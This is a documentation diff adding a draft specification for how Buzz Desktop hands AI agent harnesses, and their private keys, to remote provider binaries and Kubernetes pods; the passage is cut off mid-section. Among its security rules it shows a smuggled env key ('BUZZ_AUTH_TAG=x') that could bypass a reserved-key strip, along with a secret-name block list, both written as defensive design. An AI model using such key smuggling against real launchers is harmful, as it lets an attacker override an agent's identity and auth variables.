+This NIP introduces no changes to existing event kinds and adds no new kind, wire message, or relay-stored read-state logic. It uses only standard NIP-01 event storage, NIP-33 addressable event semantics, NIP-44 encryption, and NIP-78 application data conventions. Clients that do not implement this NIP are unaffected, as are clients that implement everything but the manual-unread override layer.
+
+The override layer is the exception, and it is a relay-compatibility one rather than a client one. Its full-state load carries the completeness guarantee only against a relay that satisfies the ordering, capacity, floor, push, and barrier requirements enumerated in Full-State Load. Against a relay known or evidenced not to conform, every load resolves to *cannot prove complete* and the actions that depend on a complete load report as failed; against an undetectably nonconforming relay, a load may still return *complete*, and the completeness guarantee does not apply to that verdict. In either case the layer still runs and still merges, and frontier sync is unaffected.
 
 ## References
 
+- [NIP-01](01.md) — Basic Protocol Flow Description (defines filter `limit`, `since`, and `until`)
 - [NIP-09](09.md) — Event Deletion Request
 - [NIP-33](33.md) — Parameterized Replaceable Events
 - [NIP-44](44.md) — Versioned Encryption
diff --git a/docs/remote-agents.md b/docs/remote-agents.md
new file mode 100644
index 0000000000..45289ef910
--- /dev/null
+++ b/docs/remote-agents.md
@@ -0,0 +1,1779 @@
+# Remote Agents and Their Management: A Formal Specification
+
+`draft`
+
+## Abstract
+
+This document specifies the protocol by which Buzz Desktop delegates the
+execution of a managed agent to a **remote substrate** — any compute
+environment other than the local machine — through a **backend provider
+binary**, and specifies the lifecycle contract every provider and every
+remotely-run agent must satisfy. It covers three layers:
+
+1. **The provider protocol** — a zero-registration plugin contract between the
+   desktop and any executable named `buzz-backend-<id>`: discovery, the `info`
+   and `deploy` operations, payload schema, and the security obligations on
+   both sides of that boundary.
+2. **The remote lifecycle model** — how a remote agent is started, observed,
+   stopped, and reaped, given the deliberate design constraint that **the
+   desktop holds no management channel to the remote process**. Relay
+   presence is the sole status signal; shutdown is a relay message; liveness
+   bounds are enforced by the agent harness itself, not by the desktop.
+3. **The Kubernetes binding** — the first conforming provider,
+   `buzz-backend-kubernetes`, which realizes the contract as a bare Pod
+   running the `sprig` image.
+
+We state five invariants — **identity fail-closed**, **no secrets in
+configuration**, **presence-is-status**, **at-most-one-live-instance**, and
+**intentional-termination-is-final** — and argue each from the protocol
+rules.
+
+A scoping note that governs the whole document: the desktop is **one
+launcher among many**. What makes a process a live Buzz agent is a keypair,
+a NIP-OA auth tag, and a relay URL, handed as environment to the `buzz-acp`
+harness; anything that can set that environment and exec the harness — a
+bash script, a systemd unit, a CI job, or this document's provider protocol
+— is a conforming launcher. §Launchers states which obligations bind whom.
+
+As with the git
+specification (`git-on-object-storage.md`), naming the trust boundary is part
+of the claim: a provider binary is arbitrary code that is handed an agent's
+private key, and this document states exactly which properties hold *despite*
+that, which hold only if the provider is honest, and which are explicitly the
+user's acceptance.
+
+## Scope and Non-Goals
+
+This specification defines **management-plane behavior**: how agents get to a
+substrate, how their state is observed, and how their lifetime is bounded. It
+deliberately does **not** specify:
+
+- **Agent conversational behavior.** What the agent does with events is
+  governed by the ACP harness (`buzz-acp`) and the NIPs it implements
+  (NIP-OA, NIP-AE, NIP-AA, …), unchanged by where the harness runs.
+- **Malicious-provider containment.** A provider binary receives the agent's
+  `nsec` by design — that is its job. The protocol *bounds the desktop's
+  exposure* (discovery-only resolution, output caps, secret redaction,
+  anti-secret config validation, an explicit UI trust warning) but cannot make
+  a hostile provider safe. Choosing to run a provider is a trust decision the
+  UI surfaces to the user; this document does not claim otherwise.
+- **Substrate security.** Kubernetes RBAC, namespace isolation, and secret
+  encryption at rest are cluster-operator concerns. The Kubernetes binding
+  states its residual exposure (§K8s Secrets) rather than claiming isolation
+  it does not provide.
+- **Liveness of the substrate.** That a pod schedules, that an image pulls,
+  that a cluster is reachable — empirical, not formal. The protocol specifies
+  only how such failures are *reported* (structured error, redacted,
+  fail-closed).
+
+## System Model
+
+Five principals:
+
+- **Desktop** `D` — the Buzz Desktop app. Holds the agent's identity (nsec in
+  the OS keyring), its configuration record, and the only UI. Trusted.
+- **Provider** `P` — an executable `buzz-backend-<id>` on `D`'s machine.
+  Invoked one process per operation: JSON request on stdin, JSON response on
+  stdout, exit code carrying one bit (zero = output trustworthy, nonzero =
+  failure regardless of stdout — §Invocation). **Untrusted by `D`** for everything except
+  the job it is explicitly given (deploying the agent, which requires the
+  key). All of `P`'s output is treated as hostile (§Provider Output).
+- **Substrate** `S` — the remote compute environment `P` deploys into (a
+  Kubernetes cluster for the binding in this document). Opaque to `D`;
+  `D` never talks to `S`.
+- **Agent** `A` — a `buzz-acp` harness process (plus the ACP agent under it)
+  running on `S`, holding the nsec it was given, connected to the relay.
+- **Relay** `R` — the Buzz relay. The *only* channel that connects `D` to a
+  running `A`. Everything `D` knows about a live remote agent, it learns
+  from `R`.
+
+The defining constraint, stated as a design axiom:
+
+- **(M1) No management channel.** After a successful `deploy`, `D` holds no
+  **persistent management session** to `A` on `S`, and the desktop↔provider
+  protocol contains **no substrate API**: no status query, no exec, no log
+  fetch, no kill. All post-deploy observation and control flows through `R`:
+  status is relay presence (kind:20001), stop is a relay message
+  (`!shutdown`), and reconfiguration is a future re-deploy. The reduction M1
+  buys is **protocol surface, not credential absence**: ambient substrate
+  credentials may well exist on `D`'s machine (the Kubernetes binding uses
+  the user's kubeconfig by design), and `D` can always re-invoke `P`. What
+  M1 guarantees is that nothing in *this protocol* — its persisted records,
+  its wire operations, its stored `backend_agent_id` — constitutes or
+  requires a channel to the substrate. The price is the staleness bounds in
+  §Presence.
+
+An agent's identity is a Nostr keypair. The **agent record** on `D` carries:
+`name`, `relay_url`, the nsec (keyring-hydrated), the NIP-OA `auth` tag
+attesting owner authorization, `agent_command`/`agent_args` (the ACP agent the
+harness spawns — `goose`, `claude-agent-acp`, `codex-acp`, `buzz-agent`, or
+any user-supplied command: this is the **configurable harness** requirement),
+effective `system_prompt`/`model`/`provider`, timeout and parallelism knobs,
+the `respond_to` gate, merged `env_vars`, and a `backend` discriminator:
+`Local` or `Provider { id, config }`.
+
+### Launchers {#launchers}
+
+The five principals above describe the **provider-managed** launch path.
+That path is not the definition of a remote agent, and this section states
+the actual layering, because the obligations in this document do not all
+bind at the same layer. Three contracts, nested:
+
+1. **The agent/harness contract — binds every launcher.** A live Buzz agent
+   is a `buzz-acp` process holding a keypair, a NIP-OA auth tag (or resolved
+   owner pubkey), and a relay URL, delivered as environment. The relay
+   authenticates the keypair and the auth tag — never the launcher. At this
+   layer live: fail-closed identity (I1's property, enforced wherever the
+   env is assembled), presence publication (I3), owner-verified `!shutdown`,
+   and **intentional clean exit is terminal to automatic supervisor
+   restart** (I5). A bash script that exports `BUZZ_PRIVATE_KEY`,
+   `BUZZ_RELAY_URL`, `BUZZ_AUTH_TAG` and execs the harness is a conforming
+   launcher at this layer — today, with no code change.
+2. **The provider/deployer contract — binds provider-managed launches
+   only.** The two operations (`info`/`deploy`), the reconciliation loop,
+   and at-most-one-live-instance *per deploy scope* (I4). Hand-launched
+   agents sit outside it by construction: a launcher that bypasses the
+   provider protocol takes on the uniqueness discipline itself, exactly as
+   the cross-scope boundary in I4 already states. The protocol cannot and
+   does not promise a global singleton across unrelated launchers of the
+   same nsec.
+3. **The binding policy — per substrate.** Fingerprints, fenced deletes and
+   409 discrimination, restart-policy selection, the default idle bound,
+   and the grace budget are Kubernetes-binding policy (§The Kubernetes
+   Binding). A different substrate (the systemd/SSH deployer of PR #3449 is
+   the live example) conforms to layers 1–2 and writes its own layer 3; it
+   is not "non-conforming" for lacking pods.
+
+The desktop is therefore one launcher among many, and the provider protocol
+is the *desktop's* door to substrates, not the only door. §Conformance
+carries one checklist per layer.
+
+## Invariants
+
+The protocol maintains five invariants. Each is stated with the mechanism
+that enforces it and the boundary beyond which it does not hold.
+
+A design obligation governs the whole list: **the complexity budget is
+spent in this document, not in the code**. Every guarantee here was chosen
+because its enforcing mechanism is one small, boring thing — a refusal at
+payload construction (I1), a key-shape validator (I2), an ephemeral event
+the agent already publishes (I3), a deterministic name plus one annotation
+compare (I4), a timer that fires an existing shutdown channel (I5). The
+same rule holds below: the deploy state machine is one loop over seven
+ordered rows; the Secret scheme is "unique name, write first, reference
+exactly"; GC is one label-select with two filters (annotation, same-clock
+age). Where
+a richer property would have demanded machinery — Leases, controllers,
+ownerReferences, a management channel — the spec either found a
+name-and-timestamp argument that makes the machinery unnecessary or
+dropped the property and said so (§Non-Goals, M1). A conforming
+implementation that is not small is evidence of a spec bug; report it as
+one.
+
+- **(I1) Identity fail-closed.** No agent is ever launched with an empty or
+  missing private key: whatever assembles the harness environment — desktop,
+  provider, bash script — MUST refuse rather than launch identityless
+  (§Launchers, layer 1). In the provider path this is enforced at payload
+  construction: if keyring hydration left the nsec empty,
+  `build_deploy_payload` refuses (mirroring local spawn's
+  `spawn_key_refusal`), so no deploy request is ever emitted with an empty
+  key. Boundary: a provider that *discards* the key and launches an
+  identityless pod is a broken provider; the payload rule governs what `D`
+  sends, not what `P` does with it — which is why the property also binds
+  at `P`'s env assembly and at every non-provider launcher.
+
+- **(I2) No secrets in configuration.** `provider_config` — the persisted,
+  schema-rendered, UI-visible settings object — MUST NOT carry secrets.
+  Enforced by validation: flat object, scalar values only, ≤20 fields, ≤64KB,
+  and any key whose word-split contains `secret|password|token|key|credential`
+  is rejected. The match is against key *names*, so it is a lint with false
+  positives: a field like `ssh_key_path` holds a path, not a credential,
+  and is refused anyway — a provider author hitting this MUST rename the
+  field (e.g. `identity_file`), not weaken the validator; the rule's job is
+  making "put the secret in config" fail closed, and cheap false positives
+  are the accepted price. Secrets flow exclusively inside the `deploy` payload
+  (`private_key_nsec`, `auth_tag`, `env_vars`), which is never persisted by
+  `D` and never rendered. Corollary for providers: cluster credentials MUST
+  come from ambient substrate config (e.g. kubeconfig resolution), never from
+  `provider_config`.
+
+- **(I3) Presence is the status.** `D` derives a remote agent's live state
+  exclusively from relay presence events self-signed by the agent key:
+  `online`/`away`/`offline` (kind:20001, ephemeral, WS-published). The
+  deployment axis (`deployed`/`not_deployed`, from the stored
+  `backend_agent_id`) is bookkeeping, not liveness. Staleness bound: presence
+  can be wrong for the window between an abnormal agent death (SIGKILL, node
+  loss) and the relay's presence expiry — **180 seconds**
+  (`PRESENCE_TTL_SECS`, `buzz-pubsub/src/presence.rs:16`; the vision's
+  "a bounded wrong dot, never an indefinite one"), the accepted
+  cost of M1. The specific number is a relay-wide constant, not a
+  remote-agent choice: #3783 raised it from 90s to keep a three-heartbeat
+  expiry window after the desktop heartbeat moved to 60s. What I3 promises
+  is that the window is *bounded*, not its width.
+  The Kubernetes binding minimizes the *avoidable* part of that window by
+  sizing the termination grace period to the harness's full graceful-shutdown
+  path (§K8s Grace). Two consequences the bound imposes: (a) the harness's
+  presence-suppression knob, `BUZZ_ACP_NO_PRESENCE`, MUST join
+  `RESERVED_ENV_KEYS` — locally the knob is cosmetic (the process and UI
+  remain visible), but remotely M1 makes presence the *only* signal, so an
+  unreserved user env var would convert "wrong for ≤180s" into "wrong
+  indefinitely" and silently disarm the one bound in print; (b) presence is
+  scoped to a **community**: the relay derives community from its host, so
+  the deploy-time `relay_url` binds the body to one community for its whole
+  life, and a workspace observing through a different community sees the
+  agent offline while a deploy against it correctly no-ops — a known UX
+  boundary (the cross-scope boundary I4 admits, seen from the status side),
+  stated here so the two honest-but-conflicting readouts are diagnosable.
+
+- **(I4) At most one live instance per agent key per deployment scope.**
+  Within one provider's deployment scope (for Kubernetes: one namespace),
+  there is never more than one Running instance of a given agent pubkey.
+  Enforced by the deploy reconciliation loop (§Deploy State Machine):
+  deploy is keyed on the derived pubkey, a live instance maps to strict
+  no-op, and — because two deploys can race — create/delete conflicts MUST
+  converge (re-read and return the winner) rather than fail; deterministic
+  instance naming makes the substrate itself reject a second live instance.
+  Boundary: the protocol cannot prevent the same nsec being
+  deployed to two different scopes (two namespaces, two clusters, or remote
+  + local simultaneously) — the relay tolerates multiple connections per key,
+  and preventing this would require the global registry M1 forbids. Deploying
+  one key twice is user error with confusing-but-safe results (both instances
+  answer), not a safety violation.
+
+- **(I5) Intentional termination is final.** A remote agent **stops when
+  told, stays down when it stops, and is never silently resurrected**: an
+  instance whose harness is live terminates on owner `!shutdown` or when a
+  configured inactivity bound expires, and no supervisor restarts an
+  instance that exited *intentionally*. "Final" means **terminal to
+  automatic supervisor restart** — the owner may always issue a fresh
+  Start; that is resurrection working as designed, not a violation.
+
+  **Lifetime is owner policy, not law.** The inactivity bound is the
+  harness's opt-in self-stop (§Auto-Stop, default disabled). An owner may
+  always choose **no inactivity bound** — declaring an indefinitely-lived
+  agent. How that choice is expressed is per-binding: the Kubernetes
+  binding opts in with a 2h schema default because a pod is metered
+  compute with nobody watching it, and spells "no bound" as its
+  `inactivity_seconds: 0` field (§Pod shape); a hand launcher simply never
+  sets the reaper env. Either way it is
+  a legitimate, explicit choice, not a conformance failure: the invariant
+  was never "every instance terminates" (a continuously active agent is
+  intentionally unbounded — that is the product); it is "termination, once
+  intended, sticks".
+
+  **Restart policy follows lifetime policy.** The distinction that makes
+  indefinite agents safe is *intent vs accident*: dying on purpose
+  (`!shutdown`, inactivity reap) is final; dying by accident (node
+  eviction, OOM) may restart the body — same key, same agent, the
+  resurrection story working *for* the owner. Stated launcher-neutrally:
+  **if a supervisor exists, its restart policy MAY revive an abnormal
+  death and MUST NOT revive an intentional clean exit.** A launcher with
+  no supervisor at all — a hand-launched process on a VPS — satisfies
+  this vacuously: nothing restarts anything. How bounded vs indefinite
+  lifetime maps onto a concrete supervisor policy is binding policy
+  ([L3]), realized and documented by each binding — this binding's
+  mapping lives in §Pod shape; a systemd binding's in its unit
+  directives. Any revive-on-abnormal-death policy carries a universal
+  precondition: the supervisor can distinguish intent from accident only
+  if the harness formally promises *clean exit = exit code 0* on every
+  intentional path and nonzero otherwise, pinned by test. At `28ae6cd21`
+  that property is emergent, not defended (Known Defect 6);
+  restart-on-failure before the pinned contract is how a refactor
+  silently converts every clean stop into a restart loop with no failing
+  test. Ordering is normative: exit-code contract first,
+  restart-on-failure second — the identical seam in every supervisor that
+  offers the distinction. An always-restart policy remains non-conforming
+  at any layer: it resurrects after a *clean* exit, defeating
+  `!shutdown`.
+
+  Enforcement: the self-stop lives *inside the harness* (the only place
+  that can see activity, per M1) (§Auto-Stop), and each binding makes it
+  effective on its substrate by requiring that harness exit terminates
+  the substrate's unit of execution (this binding's realization — the
+  harness as the container's signal-receiving process — is §Pod shape,
+  [L3]) and that any supervisor's restart policy respects intent as
+  above.
+  Boundaries: (a) the guarantee is conditional on a live harness event
+  loop — a wedged process that cannot run its reaper timer cannot reap
+  itself, and M1 means nothing else will (the mitigation is the substrate
+  operator's, e.g. a namespace-level TTL policy, out of scope per
+  §Non-Goals); (b) restart policy prevents resurrection, it does not prove
+  process exit; (c) I5 bounds *agent* lifetime, not substrate residue —
+  residue (in this binding, a Completed pod object) persists for
+  forensics until the next deploy's GC (§K8s GC).
+
+## Provider Protocol
+
+### Discovery
+
+`D` scans, in order: the directory containing the desktop executable, every
+entry of `PATH`, and `~/.local/bin`, for executables named
+`buzz-backend-<id>`. The suffix after the prefix is the provider id and MUST
+match `[a-z0-9][a-z0-9_-]*`. On Windows, an `.exe`/`.bat`/`.cmd` extension
+MUST be stripped before the id is derived (see §Known Defects — as of
+`28ae6cd21` it is not, so Windows providers probe but cannot deploy). First
+hit per filename wins. Discovery executes nothing.
+
+**Shadowing and invalid candidates are diagnosable, not silent.** First-hit
+wins is the right selection rule (it is kubectl's), but kubectl also warns
+when a later-PATH plugin is shadowed, and Docker's CLI reports invalid
+plugin candidates with reasons. Discovery MUST retain, and the UI and
+deploy-time errors MUST be able to surface: the selected binary's full
+path, any shadowed candidates for the same id (later-PATH duplicates), and
+candidates rejected for malformed names. A deploy error that names which
+binary ran answers the first question a user with two copies of
+`buzz-backend-kubernetes` will ask. (At `28ae6cd21` discovery records only
+the winning path — a desktop change alongside Known Defect 3's.)
+
+**Resolution rule.** Every subsequent operation resolves the provider id
+against the *current* discovery set. A stored binary path on an agent record
+is a cache, revalidated against both the current candidates and the recorded
+id before every use. A record edit can therefore never redirect an operation
+to a binary discovery would not have found.
+
+**Pre-secret negotiation gate (normative).** Declaring `protocol_version`
+is worthless if nothing checks it before the nsec crosses the trust
+boundary — and at `28ae6cd21` nothing does: `provider_deploy` invokes
+`deploy` directly, so a stale UI-time probe (or a binary replaced on PATH
+since that probe) can receive `private_key_nsec` unchecked (Known Defect
+5). The deploy path MUST: resolve the provider id **once**; copy the
+resolved candidate into a desktop-owned, private, non-writable **staging
+file**, computing its digest during the copy; invoke `info` **on the
+staged artifact**; validate an explicit, supported `protocol_version`
+(§Info — absence is an error); invoke `deploy` on the **same staged
+artifact**; delete it afterward. Staged bytes are what "same executable
+identity" means here: the nsec goes to the exact bytes that answered
+`info`. Path-plus-metadata comparison (dev/inode, size, mtime) is NOT an
+acceptable substitute for this guarantee — unchanged metadata can miss an
+in-place content rewrite, and a pathname can be swapped between the check
+and the moment `Command` opens it, which is precisely the
+check-then-exec race the gate exists to close. A UI-time probe result
+MUST NOT satisfy this gate. If a platform makes staged execution
+impossible for some provider (e.g. an executable that only runs from its
+install location due to relative dependencies or signing constraints),
+the implementation MUST NOT silently fall back to metadata and still
+claim this gate: it degrades explicitly to *accidental-replacement
+detection* (path + file-identity compare), surfaces that weaker level in
+the deploy diagnostics, and the spec text for that platform carries the
+narrower claim. Remembered digest-based approval (Terraform-lock style)
+is a stronger follow-up, not a v1 requirement.
+
+### Invocation
+
+One process per operation. `D` spawns `P` with cwd = the agent workdir,
+writes exactly one JSON object to stdin, closes stdin. `P` writes exactly one
+JSON object to stdout and exits. Requirements on `D` (all implemented):
+
+- Bounded reads: stdout capped (1MB), stderr capped (64KB), no `read_to_end`
+  on pipes a daemonizing child could hold open; deadline polling with
+  `try_wait`.
+- **Non-zero exit is failure even if stdout parsed.** Partial output from a
+  crashed operation is never trusted.
+- `{"ok": false, "error": …}` is the in-band failure form.
+- **Environment**: `P` inherits `D`'s environment. On macOS a GUI launch
+  means launchd's minimal PATH; providers whose substrate credentials invoke
+  helper binaries (kubeconfig `exec` plugins) MUST self-augment their PATH
+  (§K8s Auth) rather than assume a login shell.
+
+### Provider Output Is Untrusted
+
+Everything `P` emits — stderr, error strings, the response object — is
+scrubbed before storage or display: every value from the request's
+`env_vars` (longest-first, length ≥4) and every `nsec1…`/`sprt_tok_…` token
+is redacted. Rationale: `P` legitimately holds secrets during deploy; `P`
+echoing them (in a stack trace, a kubectl error, a debug line) must not
+propagate them into `D`'s persisted `last_error` or logs.
+
+### `info`
+
+```
+request:  {"op": "info", "request_id": "<uuid>"}
+response: {"ok": true, "name": str, "version": str,
+           "protocol_version": int, "description": str,
+           "config_schema": <JSON Schema>}
+timeout:  10s
+```
+
+`version` is the provider's *software* version — useful in error reports,
+useless for compatibility. `protocol_version` (this document: `1`) is the
+wire-contract version, following the pattern Docker's CLI plugins
+(`SchemaVersion`) and HashiCorp go-plugin (negotiated protocol version) both
+converged on: the desktop rejects a provider whose `protocol_version` it
+does not speak, with an error naming both versions and the binary path,
+instead of failing later inside a half-understood `deploy`. A missing
+`protocol_version` is an **error, not a presumed `1`**: there is no
+deployed provider population to grandfather, and a gate that infers
+compatibility for exactly the class of binary that never declared any
+defeats its own pre-secret guarantee (§Discovery). Fail closed — it is
+also simpler: no migration clock, no "major cycle" to define.
+
+`config_schema` drives the UI form: `properties[*].default` prefill,
+string/number/boolean coercion, `required` gating. A provider MAY compute
+defaults freshly per call (the Kubernetes binding generates a random
+namespace default this way — §K8s Namespace). The schema's fields are
+subject to I2 validation when the user's values come back in `deploy`.
+
+### `deploy`
+
+```
+request:  {"op": "deploy", "request_id": "<uuid>",
+           "agent": <payload>, "provider_config": {…}}
+response: {"ok": true, "agent_id": str}
+timeout:  600s
+```
+
+The agent payload (field list per
+`commands/agents_deploy.rs: deploy_payload_json` at `28ae6cd21`; the
+`launch` block is a normative addition not yet emitted — Known Defect 3):
+
+| field | meaning |
+|---|---|
+| `name` | display name |
+| `relay_url` | concrete WS URL (workspace fallback materialized — the remote side has no workspace notion) |
+| `private_key_nsec` | **the identity** (I1: never empty) |
+| `auth_tag` | NIP-OA owner attestation |
+| `agent_command`, `agent_args` | the ACP agent under the harness (configurable-harness support). At `28ae6cd21` these are raw record bytes — see Known Defect 3: the normative source is the resolved descriptor in `launch` |
+| `system_prompt`, `model`, `provider` | effective values, live-persona-first resolution |
+| `turn_timeout_seconds`, `idle_timeout_seconds`, `max_turn_duration_seconds` | harness timeout knobs |
+| `parallelism` | concurrent-turn bound |
+| `respond_to`, `respond_to_allowlist` | inbound author gate |
+| `env_vars` | merged user env: global < persona < agent |
+| `launch` | **normative addition** (§Launch data): the desktop-resolved launch contract — `command` (name, not path), normalized `args`, layered `env`, overridable `policy_env`, and `owner_pubkey` |
+
+**Reserved-key rule (normative for providers).** `D` strips
+`BUZZ_PRIVATE_KEY`, `NOSTR_PRIVATE_KEY`, `BUZZ_AUTH_TAG`, `BUZZ_RELAY_URL`,
+and the other reserved keys from `env_vars` before merge. A provider MUST
+construct the agent environment's identity variables from the **top-level**
+payload fields (`private_key_nsec` → `BUZZ_PRIVATE_KEY`/`NOSTR_PRIVATE_KEY`,
+`auth_tag` → `BUZZ_AUTH_TAG`, `relay_url` → `BUZZ_RELAY_URL`); reading
+`env_vars` for them yields an identityless agent. A related hardening `D`
+performs is part of the contract's rationale: env keys are validated as
+POSIX-shaped names before merge, because a key like `BUZZ_AUTH_TAG=x`
+smuggled through `Command::env` would bypass the reserved-key strip
+entirely. A provider materializing `env_vars` into a substrate object
+(e.g. a Kubernetes Secret) MUST likewise never let a user-supplied key
+collide with or reconstruct a reserved key.
+
+`agent_id` is `P`'s stable handle for the deployment (the Kubernetes binding
+returns the pod name). `D` stores it as `backend_agent_id`; its presence is
+the `deployed` axis of I3.
+
+**There is no `undeploy` op in v1.** Deletion of a remote agent from `D`
+orphans the substrate objects; the UI therefore requires an explicit
+`force_remote_delete` confirmation, and the binding's GC + I5 bound the
+orphan's cost (the agent self-stops; the pod residue is reaped on the next
+deploy of the same key, or manually).
+
+### Launch data (`launch`) {#launch-data}
+
+Reproducing the local spawn's launch semantics requires state only the
+desktop can resolve: the runtime-metadata table (`model_env_var`,
+`provider_env_var`, `provider_locked`, `default_env` —
+`discovery.rs:75-207`), the six-layer env resolution, harness-definition
+command/args fallback, team instructions, session title, the respond-to
+gate's legacy owner fallback, and the mesh rewrite. A provider MUST NOT
+reimplement that derivation — it would be a second copy of desktop runtime
+discovery, drifting from the first. Instead the payload carries a typed
+`launch` block that `D` resolves with **the same code paths as local
+spawn**, and the provider applies it mechanically.
+
+```
+"launch": {
+  "command":      str,          // command NAME (e.g. "goose"), never a host path
+  "args":         [str],        // normalized args, definition fallback applied
+  "env":          {str: str},   // layered env: baked → runtime metadata →
+                                // definition → global → persona → agent
+                                // (resolve_effective_harness_descriptor)
+  "policy_env":   {str: str},   // overridable behavior defaults (tier 1, below):
+                                // runtime default_env (e.g. GOOSE_MODE=auto),
+                                // BUZZ_ACP_RELAY_OBSERVER, BUZZ_ACP_LAZY_POOL=true,
+                                // BUZZ_ACP_SESSION_TITLE (resolved),
+                                // BUZZ_ACP_TEAM_INSTRUCTIONS, BUZZ_ACP_MODEL,
+                                // MCP_HOOK_SERVERS=* (mcp_hooks runtimes only)
+  "owner_pubkey": str | null    // resolved workspace owner (hex) — legacy
+                                // BUZZ_ACP_AGENT_OWNER fallback, non-secret
+}
+```
+
+`launch.command`/`launch.args` come from
+`resolve_effective_harness_descriptor` (`readiness.rs:125`) — the same
+resolver local spawn uses — which fixes two silent divergences the raw
+record fields carry: a persona-derived `agent_command` is a blank record
+byte, and definition-provided `agent_args` are lost when the instance's own
+args are empty. `launch.env` is that descriptor's layered env, which is
+where per-runtime model/provider injection lives (`GOOSE_MODEL`/
+`GOOSE_PROVIDER` for goose; nothing for `provider_locked` runtimes like
+Claude; `BUZZ_AGENT_MODEL`/`BUZZ_AGENT_PROVIDER` for buzz-agent). A fixed
+`provider → BUZZ_AGENT_PROVIDER` mapping is wrong for three of the four
+built-in runtimes and is why this block exists.
+
+**What `policy_env` carries — and deliberately does not.** Its irreducible
+wire fields are exactly three scalars plus the metadata-derived defaults —
+plus the four record-derived behavior knobs that would otherwise be
+mis-tiered (below):
+
+- `BUZZ_ACP_TEAM_INSTRUCTIONS` — the only truly non-reconstructible policy
+  value: `effective_team_instructions` (`spawn_hash.rs:41-52`) needs the
+  desktop's `TeamRecord` store, which no pod can reach.
+- `BUZZ_ACP_SESSION_TITLE` — sent **resolved** (`resolve_session_title`,
+  `runtime/metadata.rs:45`), not as its `display_name`/`name` inputs. The
+  resolution strips control characters, and that property transfers: an
+  interior NUL fails a local spawn at the env boundary, and would make the
+  Kubernetes apiserver reject the whole pod spec — a rename must degrade,
+  not turn into a deploy failure.
+- `owner_pubkey` (block-level, not env) — the respond-to gate is otherwise
+  fully reconstructible from payload fields (`build_respond_to_env`,
+  `runtime.rs:380-421`); this is its one irreducible input.
+- Runtime `default_env` (e.g. `GOOSE_MODE=auto`) — computed **from the
+  runtime metadata table only, unconditionally**. The local spawn applies
+  each default only `if std::env::var(key).is_err()` (`runtime.rs:733-737`)
+  — a test of the *desktop's own* ambient environment. That makes "the
+  resolved local env" not a pure function of the record; serializing it
+  verbatim would bake a host accident into the pod. Launch data MUST be
+  computed from record + config alone.
+- `BUZZ_ACP_LAZY_POOL=true` — a **deliberate pick, not a transcription**:
+  the two local paths disagree (manual Start is eager, `runtime.rs:1001`;
+  launch restore is lazy, `restore.rs:333`, precisely to avoid "N idle
+  brains on every launch"). Remote pods take the lazy arm: an idle LLM pool
+  in a cluster is billable waste with no user watching it warm up.
+- `MCP_HOOK_SERVERS=*` when the resolved runtime has `mcp_hooks`
+  (`runtime.rs:594-598`; buzz-agent only at `28ae6cd21`) — gates the
+  `_Stop`/`_PostCompact` hook tools.
+- `BUZZ_ACP_SYSTEM_PROMPT`, `BUZZ_ACP_IDLE_TIMEOUT`,
+  `BUZZ_ACP_MAX_TURN_DURATION`, `BUZZ_ACP_AGENTS` — resolved by the desktop
+  from the record's `system_prompt` / `idle_timeout_seconds` /
+  `max_turn_duration_seconds` / `parallelism` (each omitted when null,
+  matching the local spawn's conditional emission). `BUZZ_ACP_AGENTS` is
+  the **effective** parallelism: `min(record.parallelism, harness_cap)`
+  where the cap is harness-specific (e.g. OpenClaw is capped at 5). These
+  are **tier-1 control-plane** keys: `BUZZ_ACP_AGENTS` is in
+  `RESERVED_ENV_KEYS` (`env_vars.rs`) so the desktop-resolved effective
+  value cannot be overridden by a definition env var; the others are
+  tier-1 by local fact (written before the user env layer). A provider
+  that independently mapped the top-level payload copies after `launch.env`
+  would invert the precedence for those remaining keys — the structured
+  field silently defeating an override that works locally — which is why
+  the provider MUST NOT remap them (§Entrypoint mapping table).
+
+`BUZZ_ACP_DEDUP` and `BUZZ_ACP_MULTIPLE_EVENT_HANDLING` are **deliberately
+unset**: the local spawn writes `queue`/`steer` (`runtime.rs:730-731`), and
+those are exactly the harness's clap defaults (`config.rs:344,356`) — a pod
+that omits both is behaviorally identical, and adding rows for them would
+imply a divergence that does not exist. `BUZZ_MANAGED_AGENT` is likewise
+deliberately absent remotely: it brands local harness processes so the
+desktop's orphan sweep and instance reaper can prove ownership by scanning
+process env (`orphan_sweep.rs`, `instance_reaper.rs`) — there is no local
+process to sweep.
+
+**Environment precedence (normative) — three tiers, later wins:**
+
+1. **Overridable behavior defaults** — `launch.policy_env`. Most keys here
+   are deliberately non-reserved (`env_vars.rs` documents the narrow set
+   that IS reserved): power users may bypass the dedicated UI fields for
+   system prompt, model, idle timeout, etc. Locally the user env is written
+   after them (`runtime.rs:860` and its comment). A policy-wins order here
+   would make remote agents ignore overrides local agents honor.
+   **Exception — `BUZZ_ACP_AGENTS`:** this key IS reserved
+   (`env_vars.rs:RESERVED_ENV_KEYS`) so the desktop-controlled effective
+   parallelism (applying any per-harness cap) cannot be bypassed by a
+   user-supplied definition env var. The reserved-key strip removes any
+   user copy before serialization, so the tier-1 value survives.
+2. **User/layered env** — `launch.env`. User `env_vars` need no separate
+   slot: the descriptor's layering already merged them (global < persona <
+   agent), so a provider applies `launch.env` and MUST NOT re-merge the
+   legacy `env_vars` field on top.
+3. **Authoritative** — unoverridable at every layer, written last and
+   backed by the reserved-key strip: the identity variables from top-level
+   payload fields (§Reserved-key rule), the respond-to gate values,
+   `BUZZ_ACP_AGENT_OWNER`, the inactivity bound, `BUZZ_ACP_MCP_COMMAND`,
+   and `BUZZ_MANAGED_AGENT_START_NONCE`. For the nonce, the provider MUST
+   set it to the attempt's **generation token** (§K8s Secrets): the harness
+   stamps it into every observer lifecycle frame (`buzz-acp/lib.rs:1501`),
+   so the Secret generation and the lifecycle correlator become one
+   identity instead of an empty string.
+
+**Host-resolved values MUST NOT be forwarded and MUST be re-derived
+in-image.** The local spawn sets several variables to absolute paths on the
+desktop's filesystem; forwarding them into a container is a guaranteed
+failure. The provider/image re-derives:
+
+- the harness and agent binaries: `launch.command` is a *name*, resolved
+  against the image's own `PATH` (`BUZZ_ACP_AGENT_COMMAND`), and
+  `BUZZ_ACP_MCP_COMMAND=buzz-dev-mcp` likewise;
+- `CLAUDE_CODE_EXECUTABLE` — a `resolve_command()` host path
+  (`configure_runtime_cli`, `runtime.rs:424-446`), same class as the
+  command paths: image-local resolution or unset;
+- `PATH` itself (the desktop's augmented PATH is meaningless in the image);
+- git credential/signing helper locations — the relay-URL *scoping* of the
+  credential config is normative (never a global helper), the helper *path*
+  is image-local (§Image);
+- `BUZZ_ACP_SETUP_PAYLOAD` is desktop-computed readiness state and MUST NOT
+  appear in a remote pod.
+
+**Owner resolution (normative):** the provider MUST have either a non-null
